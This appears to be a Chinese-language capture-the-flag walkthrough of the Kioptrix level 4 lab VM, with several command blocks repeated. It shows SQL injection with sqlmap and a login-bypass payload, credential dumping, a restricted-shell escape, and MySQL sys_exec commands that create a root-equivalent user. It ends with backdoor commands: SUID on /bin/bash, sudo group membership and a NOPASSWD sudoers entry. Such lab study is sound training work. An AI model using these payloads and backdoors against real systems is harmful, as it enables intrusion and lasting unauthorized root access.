

0x04 Vulnhub Kioptrix level 4 通关

nmap 192.168.232.146 -A --min-rate 9999 -r

Starting Nmap 7.95 (<https://nmap.org>) at 2025-09-19 21:44 EDT

Nmap scan report for 192.168.232.146 (192.168.232.146)

Host is up (0.0022s latency).

Not shown: 566 closed tcp ports (reset), 430 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

| ssh-hostkey:

| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)

|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

|_ http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

|_ http-title: Site doesn't have a title (text/html).

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

MAC Address: 00:0C:29:E0:B2:61 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_ clock-skew: mean: 10h00m06s, deviation: 2h49m42s, median: 8h00m06s

|smb2-time: *Protocol negotiation failed (SMB2)*

| smb-security-mode:

| account_used: *guest*

| authentication_level: *user*

| challenge_response: *supported*

| message_signing: disabled (dangerous, but default)

|nbstat: NetBIOS name: *KIOPTRIX4*, NetBIOS user: , NetBIOS MAC: (*unknown*)

| smb-os-discovery:

| OS: *Unix (Samba 3.0.28a)*

| Computer name: *Kioptrix4*

| NetBIOS computer name:

| Domain name: *localdomain*

| FQDN: *Kioptrix4.localdomain*

| System time: 2025-09-20T05:44:28-04:00

TRACEROUTE

HOP RTT ADDRESS

1 2.16 ms 192.168.232.146 (192.168.232.146)

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds

##跑出一个database.sql, 里面有个账户

dirsearch -u "<http://192.168.232.146/>"



```
CREATE TABLE `members` (
  `id` int(4) NOT NULL auto_increment,
  `username` varchar(65) NOT NULL default '',
  `password` varchar(65) NOT NULL default '',
  PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=2 ;

--
-- Dumping data for table `members`
--

INSERT INTO `members` VALUES (1, 'john', '1234');
```

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 john@192.168.232.146

```
sqlmap -r /root/ddd.txt --batch --level 3
```

```
(root@kali)-[~]
# sqlmap -r /root/ddd.txt --batch --level 3

--
  H
-- [.] -- {1.9.9#stable}
-- [.] --
-- [.] --
  |V... | https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and fed
eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 02:08:59 /2025-09-20/

02:08:59] [INFO] parsing HTTP request from '/root/ddd.txt'
02:09:00] [INFO] resuming back-end DBMS 'mysql'
02:09:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: mypassword (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: myusername=john&mypassword=-1751' OR 2009=2009#&Submit=Login

  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
  Payload: myusername=john&mypassword=213' OR SLEEP(5)-- YWoG&Submit=Login
--

02:09:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
02:09:00] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/outpu
t/192.168.232.146'
```

```
(root@kali)-[~]
```

```
# sqlmap -r /root/ddd.txt --batch --level 3 --dbs
```

```
got a 302 redirect to http://192.168.232.146/login_success.php
t to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend o
location? [y/N] N
3
02:10:22] [INFO] retrieved: information_schema
02:10:23] [INFO] retrieved: members
02:10:23] [INFO] retrieved: mysql
available databases [3]:
[*] information_schema
[*] members
[*] mysql

02:10:24] [INFO] fetched data logged to text files under '/root
t/192.168.232.146'
```

找到三个库

└─(root@kali)-[~]

└─# sqlmap -r /root/ddd.txt --batch --level 3 -D members --tables

```
[02:11:34] [INFO] got a 302 redirect to 'http://192.168.232.146/login_success.php?username=john'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
1
[02:11:34] [INFO] retrieved: members
Database: members
[1 table]
+-----+
| members |
+-----+

[02:11:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.232.146'
```

找到一个表members

└─(root@kali)-[~]

└─# sqlmap -r /root/ddd.txt --batch --level 3 -D members -T members --dump

```
[02:12:42] [INFO] retrieved: robert
Database: members
Table: members
[2 entries]
+-----+-----+-----+
| id | password | username |
+-----+-----+-----+
| 1 | MyNameIsJohn | john |
| 2 | ADGAdsafdfwt4gadfga== | robert |
+-----+-----+-----+

[02:12:42] [INFO] table 'members.members' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.232.146/dump/members/members.csv'
[02:12:42] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.232.146'
```

找到两个账户

john:MyNameIsJohn

robert:ADGAdsafdfwt4gadfga==

在web直接输入john，密码admin' or 1=1# 也行

08067 网安 简画 AI辅助 github工具 博客/论坛 工作 靶场 加解密网站 本地靶场

Member's Control Panel

Username : john

Password : MyNameIsJohn

Logout

ssh登录账户

```
guang@LAPTOP-3KEPD2IM:/mnt/c/Users/HONOR$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa robert@192.168.232.146
robert@192.168.232.146's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$ id
*** unknown command: id
robert:~$ |
```

shell逃逸

```
robert:~$ uname -a
*** unknown command: uname
robert:~$ cat /etc/crontab
*** unknown command: cat
robert:~$ os.system("/bin/sh")
*** unknown command: os.system("/bin/sh")
robert:~$ echo os.system("/bin/sh")
whoami
robert
robert:~$ echo os.system("/bin/sh")
whoami
robert
cd /var/www
$ ls
checklogin.php database.sql images index.php john login_success.php logout.php member.php robert
$ vi checklogin.php
host = "localhost"; //Hostnameusername="root"; // Mysql username
password = ""; //Mysqlpassworddb_name="members"; // Database name
$tbl_name="members"; // Table name
```

```
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select database.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
```

#通过root账户进入mysql

```
mysql -u root
```

#输出数据库版本

```
SELECT VERSION();
```

#输出当前用户的权限

```
SHOW GRANTS FOR CURRENT_USER();
```

```
mysql> select sys_exec('echo "guang:123456" | chpasswd');
+-----+
| sys_exec('echo "guang:123456" | chpasswd') |
+-----+
| NULL |
+-----+
1 row in set (0.04 sec)

mysql> exit
Bye
$ pwd
/var/www
$ si guang
/bin/sh: si: not found
$ su guang
Password:
Failed to add entry for user guang.

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
#
```

显示有 ALL PRIVILEGES，权限够，能进行UDF提权

```
mysql>
mysql> SHOW GRANTS FOR CURRENT_USER();
+-----+
| Grants for root@localhost |
+-----+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION |
+-----+
1 row in set (0.03 sec)

mysql> select sys_exec('useradd -ou 0 -g 0 guang');
+-----+
| sys_exec('useradd -ou 0 -g 0 guang') |
+-----+
| NULL |
+-----+
1 row in set (0.04 sec)

mysql> select sys_exec('echo "guang:123456" | chpasswd');
+-----+
| sys_exec('echo "guang:123456" | chpasswd') |
+-----+
| NULL |
+-----+
1 row in set (0.04 sec)

mysql> exit
Bye
$ pwd
/var/www
$ si guang
/bin/sh: si: not found
$ su guang
Password:
Failed to add entry for user guang.

# whoami
root
# id
```

```
mysql> show global variables like 'secure%';
```

直接创建

```
SELECT sys_exec('useradd -ou 0 -g 0 hacker');
```

```
SELECT sys_exec('echo "hacker:password" | chpasswd');
```

```
mysql> select sys_exec('useradd -ou 0 -g 0 guang'); +-----+
| sys_exec('useradd -ou 0 -g 0 guang') |
+-----+
| NULL |
+-----+
1 row in set (0.04 sec)
```

```
mysql> select sys_exec('echo "guang:123456" | chpasswd');
+-----+
| sys_exec('echo "guang:123456" | chpasswd') |
+-----+
| NULL |
+-----+
1 row in set (0.04 sec)
```

```
mysql> exit
```

```
Bye
```

```
$ pwd
```

```
/var/www
```

```
$ si guang
```

```
/bin/sh: si: not found
```

```
$ su guang
```

```
Password:
```

```
Failed to add entry for user guang.
```

```
#whoami
```

```
root
```

```
#id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
cd /root
```

```
ls -la
```

```
~
~
# cd /root
# ls -la
total 44
drwxr-xr-x  4 root      root      4096 2025-09-20 12:52 .
drwxr-xr-x 21 root      root      4096 2012-02-06 18:41 ..
-rw-----  1 root      root        59 2012-02-06 20:24 .bash_history
-rw-r--r--  1 root      root     2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 root      root      625 2012-02-06 10:48 congrats.txt
-rw-r--r--  1 root      root        1 2012-02-05 10:38 .lhistory
drwxr-xr-x  8 loneferret loneferret 4096 2012-02-04 17:01 lshell-0.9.12
-rw-----  1 root      root        1 2012-02-05 10:38 .mysql_history
-rw-----  1 root      root        5 2012-02-06 18:38 .nano_history
-rw-r--r--  1 root      root     141 2007-10-20 07:51 .profile
drwx-----  2 root      root     4096 2012-02-06 11:43 .ssh
```

发现flag

```
Congratulations!
You've got root.

There is more than one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret

~
~
~
~
~
~
~
```

还有其他方式能获取root权限

1.设置suid位，允许普通用户允许以root权限允许程序

```
select sys_exec('chmod u+s /bin/bash');
```

#容易被破坏：一旦管理员执行 `chmod u-s /bin/bash`，后门就失效了。

2.将用户添加到sudo组

```
select sys_exec('/usr/sbin/usermod -aG sudo john');
```

利用Linux的用户组权限模型，成为了 `sudo` 组的一员，获得了使用 `sudo` 的资格。

3.修改/etc/sudoers文件

```
select sys_exec('echo "john ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers');
```

本质：直接修改 `sudo` 的授权策略文件

这是最强大的sudo授权形式。它意味着用户 `john` 可以在不提供任何密码的情况下，执行任何root命令。